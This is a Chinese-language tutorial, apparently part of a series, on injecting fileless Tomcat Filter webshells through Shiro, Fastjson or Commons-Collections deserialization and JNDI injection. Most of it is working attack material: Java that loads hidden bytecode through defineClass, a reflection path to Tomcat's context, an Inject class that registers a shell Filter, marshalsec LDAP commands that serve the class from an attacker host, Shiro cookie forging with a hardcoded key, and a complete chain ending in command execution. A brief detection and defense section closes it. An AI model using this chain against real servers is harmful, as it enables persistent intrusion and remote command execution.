反序列化与 JNDI 无文件注入内存马
前面 Filter / Servlet / Listener / Valve 各篇讲的是”拿到代码执行之后怎么把内存马塞进容器”。但攻击者最早是怎么拿到”代码执行”这一步的?最常见的是 反序列化(Shiro / Fastjson / CC 链)和 JNDI 注入。
这两条路有一个共同点:没有 JSP、没有 request 对象、恶意类不在 classpath。本文补齐这条从 RCE 入口到内存马落地的完整链路。
本质:用反序列化 / JNDI 把”注入类”送进 JVM,注入类在构造方法 / static 块里动态 defineClass 加载恶意 Filter,并通过无 request 反射链拿到 StandardContext 完成注册。整体框架见 《内存马原理总纲》,命令回显见 《TomcatEcho 无 request 命令回显》。
一、无文件注入的三个难点
对比 JSP 注入,无文件注入多了三个问题:
| 难点 | JSP 注入 | 无文件注入 |
|---|---|---|
| 恶意类从哪来 | 直接写在 <%! %> 里 |
恶意类不在目标 classpath,需 defineClass 动态加载 |
| StandardContext 怎么拿 | 有 request → 反射链 | 入口只有构造方法 / static 块,没有 request |
| 命令回显 | 有 response | 拿不到 response,需 TomcatEcho 链 |
二、defineClass 动态加载恶意类
2.1 为什么不能直接 new
JNDI 一次只能指向一个 class 文件;反序列化 gadget(TemplatesImpl)加载的也是一个类。而”注入器 + 恶意 Filter”至少两个类(Filter 要单独编译成 .class)。写成内部类也不行——内部类编译后仍生成独立的 class 文件。
标准做法:先用 javassist 把恶意 Filter 的字节码打成 Base64 字符串,运行时用 ClassLoader.defineClass 从字节数组还原出这个类。
// 生成端:javassist 把 ShellFilter 转成 Base64
import javassist.ClassPool;
import java.util.Base64;
public class DumpBase64 {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
byte[] bytes = pool.get("ShellFilter").toBytecode();
System.out.println(Base64.getEncoder().encodeToString(bytes));
}
}
2.2 注入端:defineClass 还原类
// 注入端:把 Base64 字节码还原成类并实例化
String code = "yv66vgAA..."; // 上面生成的 Base64
byte[] bytes = Base64.getDecoder().decode(code);
ClassLoader cl = Thread.currentThread().getContextClassLoader();
Method define = ClassLoader.class.getDeclaredMethod(
"defineClass", byte[].class, int.class, int.class);
define.setAccessible(true);
Class<?> clazz = (Class<?>) define.invoke(cl, bytes, 0, bytes.length);
Filter filter = (Filter) clazz.getDeclaredConstructor().newInstance();
注意:
- 用
Thread.currentThread().getContextClassLoader(),它持有 Web 应用的类路径,能解析javax.servlet.*等依赖; defineClass是 protected,必须setAccessible(true);- JDK 9+ 推荐
getDeclaredConstructor().newInstance()(newInstance()已废弃)。
三、没有 request:怎么拿 StandardContext
JSP 注入能走 request.getServletContext() → ApplicationContext → StandardContext(见 Filter 篇)。但无文件入口(构造方法 / static 块)里没有 request,要换一条链。
3.1 从线程上下文类加载器一路往下
WebappClassLoaderBase 是 Tomcat 的 Web 应用类加载器,每个线程都能拿到它(Thread.currentThread().getContextClassLoader()),它持有 resources → StandardContext 的引用:
Thread.currentThread().getContextClassLoader()
→ (WebappClassLoaderBase)
→ resources : WebResourceRoot(StandardRoot)
→ getContext() : StandardContext
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.catalina.webresources.StandardRoot;
public StandardContext getContext() {
WebappClassLoaderBase cl =
(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardRoot root = (StandardRoot) cl.getResources();
return (StandardContext) root.getContext();
}
3.2 Tomcat 9+ 兼容坑:getResources() 弃用返回 null
getResources() 在 Tomcat 9 里已弃用(Fastjson 靶机正好是 Tomcat 9,实测返回 null → NPE)。兼容写法是反射取 resources 字段:
public StandardContext getContext() {
WebappClassLoaderBase cl =
(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
try {
Field field = WebappClassLoaderBase.class.getDeclaredField("resources");
field.setAccessible(true);
StandardRoot root = (StandardRoot) field.get(cl);
return (StandardContext) root.getContext();
} catch (Exception e) {
return null;
}
}
这是典型的”版本兼容”坑:
getResources()方法废弃、字段还在。利用时要根据目标 Tomcat 版本二选一;resources字段本身在不同版本间也有改名/改包名的风险,实战前需确认目标版本。
四、入口一:JNDI 注入
4.1 回顾:JNDI 注入原理
InitialContext.lookup() 参数可控时,指向攻击者的 RMI/LDAP 服务,返回恶意 Reference,目标 JVM 远程加载并实例化恶意类:
lookup("ldap://attacker:1389/Exploit")
→ LDAP 返回 Reference(指向 http://attacker/Exploit.class)
→ 目标 JVM 远程加载 Exploit.class → new Exploit() → 构造方法 / static 块执行
4.2 限制:只有三个地方会被自动执行
JNDI 远程加载的类,只有 static{}、{}(实例初始化块)、无参构造方法会被自动执行。所以注入逻辑必须写在这三个地方之一(最常用无参构造方法)。
4.3 JNDI + defineClass 组合
受害者(Tomcat 8 + JDK 8u62,8u191 之前默认可远程加载 codebase):
// 受害者:HelloServlet.doGet 里 lookup 参数可控
String name = request.getParameter("name");
Context ctx = new InitialContext();
ctx.lookup(name); // name = ldap://attacker:1389/Inject
恶意类 Inject(托管在攻击者 HTTP 服务器,无参构造方法里完成注入):
public class Inject {
public Inject() throws Exception { // ← JNDI 加载后自动执行
StandardContext context = getContext(); // 无 request 链,见第三节
Filter filter = getFilter(); // defineClass 加载恶意 Filter,见第二节
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("shell");
filterDef.setFilter(filter);
filterDef.setFilterClass(filter.getClass().getName());
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("shell");
filterMap.addURLPattern("/*");
context.addFilterDef(filterDef);
context.addFilterMapBefore(filterMap);
context.filterStart();
}
}
攻击流程:
# 1. HTTP 托管 Inject.class
python3 -m http.server 80
# 2. marshalsec 起 LDAP/RMI 服务,引用指向 Inject
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar \
marshalsec.jndi.LDAPRefServer "http://attacker/#Inject" 1389
# 3. 触发受害者
# GET /hello?name=ldap://attacker:1389/Inject
高版本 JDK 限制:JDK 8u191+ 默认禁止从远程 codebase 加载类(
com.sun.jndi.ldap.object.trustURLCodebase=false),JNDI 注入需要本地 Factory 或其他绕过。这也是很多靶场用 8u62~8u181 的原因。
五、入口二:反序列化注入(TemplatesImpl 链)
5.1 反序列化加载字节码:TemplatesImpl
Java 原生反序列化没有”直接执行任意代码”的方法,需要 gadget 链。最通用的”加载字节码并执行”载体是 TemplatesImpl:它的 _bytecodes 字段保存字节码,getTransletInstance() 会 defineClass 并实例化——但要求恶意类继承 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet。
// 恶意类:继承 AbstractTranslet,构造方法里写注入逻辑(同 4.3)
public class Inject extends AbstractTranslet {
public Inject() { /* 完成 Filter 注册 */ }
@Override public void transform(DOM d, SerializationHandler[] h) {}
@Override public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) {}
}
构造 TemplatesImpl(用反射设置私有字段):
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{ 注入类字节码 }); // 用 javassist 取
setFieldValue(obj, "_name", "xxx");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
5.2 触发:CC 链
反序列化入口一般是 HashMap.readObject → hashCode → TiedMapEntry → LazyMap.get → ChainedTransformer → InstantiateTransformer → TrAXFilter → TemplatesImpl.newTransformer() → getTransletInstance() → 实例化恶意类。这条 CC 链需要 commons-collections 3.2.1(Shiro 1.2.4 自带)。
5.3 Shiro 实战:rememberMe = 对象 → 序列化 → AES
Shiro 的 rememberMe 处理:Cookie 值 = Base64(AES(序列化对象))。密钥硬编码(kPH+bIxk5D2deZiIxcaaaA==)时,可伪造任意序列化数据:
// 生成 rememberMe 值
AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
ByteSource ciphertext = aes.encrypt(序列化后的CC链, key);
// 输出 → 塞进 Cookie: rememberMe=...
5.4 实战坑:Header 8k 限制 → ShellLoader 拆分
直接把”注入类(含 Filter 字节码)”塞进 rememberMe,序列化后超过 Tomcat 默认 8k 请求头上限,请求直接 400。解决思路:rememberMe 里只放一个 ShellLoader(小),真正要注册的 Filter 字节码放 POST body。
POST / HTTP/1.1
Cookie: rememberMe=<ShellLoader 的 AES 载荷> ← 反序列化触发 ShellLoader
Content-Type: application/x-www-form-urlencoded
code=<Filter 字节码的 Base64> ← POST body,不走 Header
ShellLoader(继承 AbstractTranslet,static 块执行):
public class ShellLoader extends AbstractTranslet {
static {
// 1. TomcatEcho 链拿到当前请求(见下篇),从 body 读 code 参数
// 2. defineClass 加载 code 指向的 Filter 字节码
// 3. newInstance() → Filter 的构造/初始化逻辑注册进容器
}
}
配合编译优化
-g:none去掉调试信息,能把 ShellLoader 的字节码再缩小一截,更容易塞进 8k 请求头。
六、完整攻击链
Shiro rememberMe Cookie
→ Base64 解码 → AES 解密 → 反序列化(CC 链)
→ TemplatesImpl 加载 ShellLoader 字节码并实例化
→ ShellLoader.static{} 执行
→ TomcatEcho 链拿到当前 Request(见下篇)
→ 读 POST body 的 code 参数(Filter 字节码 Base64)
→ defineClass 加载 Filter
→ 无 request 反射链拿 StandardContext(第三节)
→ addFilterDef / addFilterMapBefore / filterStart → Filter 内存马落地
→ 之后任意请求 ?cmd=xxx 即命令回显
JNDI 入口(Fastjson JdbcRowSetImpl + dataSourceName + autoCommit)同理,只是”进入 JVM”的方式从反序列化换成了 JNDI 远程加载类。
七、检测与防御
检测
| 手段 | 说明 |
|---|---|
| 入口修复 | 检查 Shiro / Fastjson 等反序列化点与 JNDI 可控 lookup(事前) |
| 监控 defineClass | RASP 监控 ClassLoader.defineClass 的非启动阶段调用 |
| 监控 JNDI | RASP 监控 InitialContext.lookup 的参数来源与调用栈 |
| 基线对比 | 注入完成后仍是 Filter 基线对比(同 Filter 篇) |
防御
| 层面 | 措施 |
|---|---|
| 事前 | 修复 Shiro 硬编码密钥、Fastjson AutoType、反序列化入口——切断”进入 JVM”这一步 |
| 升级 | JDK ≥ 8u191(JNDI 远程加载默认关闭) |
| 事中 | RASP 监控 defineClass / lookup / addFilterDef 的调用栈 |
| 事后 | Filter / Listener / Valve 基线巡检 |
总结
无文件注入与 JSP 注入的本质区别,是把前面几篇里”现成可用的 request / 类”换成三个等价物:
| JSP 注入 | 无文件注入 |
|---|---|
<%! %> 内联恶意类 |
ClassLoader.defineClass 加载字节码 |
request 反射链拿 context |
Thread.getContextClassLoader → resources → StandardContext |
response 回显 |
TomcatEcho 链(见下篇) |
记住:内存马的类型没变(还是 Filter / Listener / Valve……),变的是把注入类送进 JVM 的入口。攻击者最终都要回答同一个问题——”在我的代码里,怎么拿到容器注册表的引用”。
延伸阅读:《内存马原理总纲》 《TomcatEcho 无 request 命令回显》 《Tomcat Filter 内存马》 《Fastjson反序列化漏洞深度剖析》